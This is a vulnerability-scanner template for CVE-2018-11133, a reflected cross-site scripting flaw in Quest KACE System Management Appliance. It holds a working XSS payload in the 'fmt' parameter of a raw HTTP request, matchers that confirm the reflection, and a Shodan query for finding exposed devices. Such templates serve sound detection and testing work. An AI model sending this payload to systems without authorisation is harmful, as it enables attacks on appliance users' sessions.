id: CVE-2018-11133

info:
  name: Quest KACE SMA /common/run_cross_report.php 'fmt' XSS
  author: iamnoooob,pdresearch
  severity: medium
  description: |
    The 'fmt' parameter of the '/common/run_cross_report.php' script in the the Quest KACE System Management Appliance 8.0.318 is vulnerable to cross-site scripting.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
  remediation: |
    Upgrade to a patched version of Quest KACE SMA or apply vendor-provided security updates.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-11133
    - https://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-11133
    cwe-id: CWE-79
    epss-score: 0.07271
    epss-percentile: 0.93556
    cpe: cpe:2.3:a:quest:kace_system_management_appliance:8.0.318:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: quest
    product: kace_system_management_appliance
    shodan-query: title:"KACE Systems Management"
  tags: cve,cve2018,xss,quest,kace,sma,vuln

http:
  - raw:
      - |
        GET /common/run_cross_report.php?uniqueId=366314513&id=585&org=1&fmt=xls34403')%3balert(document.domain)%2f%2f952 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "xls34403');alert(document.domain)//952');"
          - 'k-run-report-message'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008bf55f46e8b5b2d25590e920bebc73af745d163937a424fbff9473bbceba8518022100921da1fc67624733a11708b58079e4adbed185a12aca057f6f2719c5b3d5d035:922c64590222798bb761d5b6d8e72950